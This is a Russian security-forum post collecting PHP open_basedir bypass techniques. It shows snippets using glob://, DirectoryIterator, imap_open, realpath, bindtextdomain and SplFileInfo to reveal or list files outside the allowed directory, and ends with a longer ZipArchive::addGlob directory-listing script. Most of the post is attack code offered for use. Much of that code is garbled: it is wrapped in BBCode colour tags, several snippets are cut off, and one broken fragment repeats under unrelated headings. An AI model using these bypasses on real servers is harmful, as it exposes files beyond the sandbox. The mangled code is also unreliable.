По мотивам
https://rdot.org/forum/showthread.php?t=1043
Старая тема о главном + немного добавим с гугла + тесты на 7 ветке === этот тред.
Вобщем что завелось у меня.
Ну и сразу
crlf подсказывает прикрепить ссыль на эту
тему, ибо "т.к. имея выполнение команд, байпасс бейсдира не сильно нужен"
Глава первая. Вспомнить всё...
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
finfo_*
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]$finfo[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]finfo_open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]FILEINFO_MIME[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]finfo_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$finfo[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]));[/COLOR][/COLOR]
Ругается на опенбэйздир или на отсутствие директории в зависимости от наличия директории.
Тест:
7.0.26
7.3.8-1
----------------------------------------------------------------------------------------------------------------------------------------------------------------
Glob(). Разный результат для отсутствующих и существующих файлов.
----------------------------------------------------------------------------------------------------------------------------------------------------------------
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]glob[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/etc/hosts'[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]glob[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/etc/does-not-exist'[/COLOR][COLOR="#007700"]));[/COLOR][/COLOR]
отсутствует:
array(0){}
присутствует:
bool(false)
Тест:
7.0.26
7.3.8-1
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
opendir()+readdir()+glob://
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
https://bugs.php.net/bug.php?id=73891
Разные ошибки для существующих и отсутствующих директорий.
Если использовать с glob:// то получим листинг.
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$dh[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]opendir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]])) {
while (([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]readdir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dh[/COLOR][COLOR="#007700"])) !==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#DD0000"]\n"[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]closedir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dh[/COLOR][COLOR="#007700"]);
}
[/COLOR][/COLOR]
Код:
Code:
http://localhost/1.php?dir=glob:///*
DirectoryIterator
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"]= array();
[/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]DirectoryIterator[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"glob:///*"[/COLOR][COLOR="#007700"]);
foreach ([/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]__toString[/COLOR][COLOR="#007700"]();
}
[/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]DirectoryIterator[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"glob:///.*"[/COLOR][COLOR="#007700"]);
foreach ([/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]__toString[/COLOR][COLOR="#007700"]();
}
[/COLOR][COLOR="#0000BB"]sort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"]);
foreach ([/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]){
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
Тест:
7.0.26
7.3.8-1
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Не баг, а фича - функции posix_*
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
http://bugs.php.net/bug.php?id=16733
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][/COLOR]
Тест:
7.0.26
7.3.8-1
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
imap_open()
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
https://bugs.php.net/bug.php?id=37265
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'/etc'[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]imap_open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
Снова разница в ошибках.
Тест:
7.3.8-1
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: '[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]))
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
else
echo[/COLOR][COLOR="#DD0000"]"false\n"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'Directory listing of '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) "[/COLOR][COLOR="#007700"];
function[/COLOR][COLOR="#0000BB"]check[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]) {
global[/COLOR][COLOR="#0000BB"]$alphabet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$windows[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'a'[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Realpath().
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
http://bugs.php.net/bug.php?id=41492
Тест:
7.0.26
7.3.8-1
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: '[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]))
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
else
echo[/COLOR][COLOR="#DD0000"]"false\n"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'Directory listing of '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) "[/COLOR][COLOR="#007700"];
function[/COLOR][COLOR="#0000BB"]check[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]) {
global[/COLOR][COLOR="#0000BB"]$alphabet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$windows[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'a'[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
include - разница в ошибках.
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Тест:
7.3.8-1
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$ext[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'
'[/COLOR][COLOR="#007700"];
}
}
[/COLOR][COLOR="#0000BB"]set_error_handler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"eh"[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]'open_basedir = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]'
'[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'include_path = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'include_path'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]'
'[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'set include_path = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'
'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]ini_set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'include_path'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]'include_path = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'include_path'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]'
'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]= array();
while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) [/COLOR][/COLOR]
Глава вторая. Окей, гугл!
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Is_dir().
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
https://bugs.php.net/bug.php?id=69240
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/etc/passwd"[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/etc/passwd2"[/COLOR][COLOR="#007700"]));[/COLOR][/COLOR]
Тест:
7.0.26
7.3.8-1
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]open_basedir: '[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]))
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
else
echo[/COLOR][COLOR="#DD0000"]"false\n"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'Directory listing of '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) "[/COLOR][COLOR="#007700"];
function[/COLOR][COLOR="#0000BB"]check[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]) {
global[/COLOR][COLOR="#0000BB"]$alphabet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$windows[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'a'[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][/COLOR]
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Bindtextdomain
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Существует:
string(4) "/etc"
Отсутствует:
bool(false)
Тест:
7.0.26
7.3.8-1
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: %s
'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]$re[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]bindtextdomain[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'xxx'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$re[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
SplFileInfo + getRealPath
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Аналогично
Существует:
string(4) "/etc"
Отсутствует:
bool(false)
Тест:
7.0.26
7.3.8-1
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'
'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$info[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]SplFileInfo[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$info[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getRealPath[/COLOR][COLOR="#007700"]());
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
Глава третья. Самое вкусное...
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
ZipArchive->addGlob
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Тест:
7.3.8-1
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]addGlob open_basedir bypass, Directory Listing, by BlackFan
# 20.12.11
[/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]stripos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]PHP_OS[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'win'[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"])
die([/COLOR][COLOR="#DD0000"]'Windows glob does not support negative character classes'[/COLOR][COLOR="#007700"]);
if(![/COLOR][COLOR="#0000BB"]class_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ZipArchive'[/COLOR][COLOR="#007700"]))
die([/COLOR][COLOR="#DD0000"]'Class ZipArchive not found'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$starttime[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]microtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$R[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$regexp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/File\((.*)\) is not within/"[/COLOR][COLOR="#007700"];
if(isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]]))[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]= ((string)[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]]);
if(isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'R'[/COLOR][COLOR="#007700"]]) and[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'R'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'on'[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]$R[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].(([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]) ?[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]"open_basedir bypass, Directory Listing, by BlackFan"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]"Directory (absolute path): "[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]" -R "[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"]= array();
[/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"]= array();
[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]= array();
[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"openbd.zip"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]ZipArchive[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ZIPARCHIVE[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]CREATE[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]set_error_handler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"error_handler"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"]= array([/COLOR][COLOR="#DD0000"]'*'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'.*'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$checked_chars[/COLOR][COLOR="#007700"]= array();
[/COLOR][COLOR="#0000BB"]$count[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
do {
[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addGlob[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]array_shift[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"*"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]GLOB_MARK[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$is_dir[/COLOR][COLOR="#007700"]= ([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) ===[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);
if(([/COLOR][COLOR="#0000BB"]$R[/COLOR][COLOR="#007700"]or ![/COLOR][COLOR="#0000BB"]$is_dir[/COLOR][COLOR="#007700"]) and[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]array_push[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'?'[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$is_dir[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]array_push[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'.*'[/COLOR][COLOR="#007700"]);
}
}
[/COLOR][COLOR="#0000BB"]$lenlf[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]);
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]or[/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {
foreach([/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"];
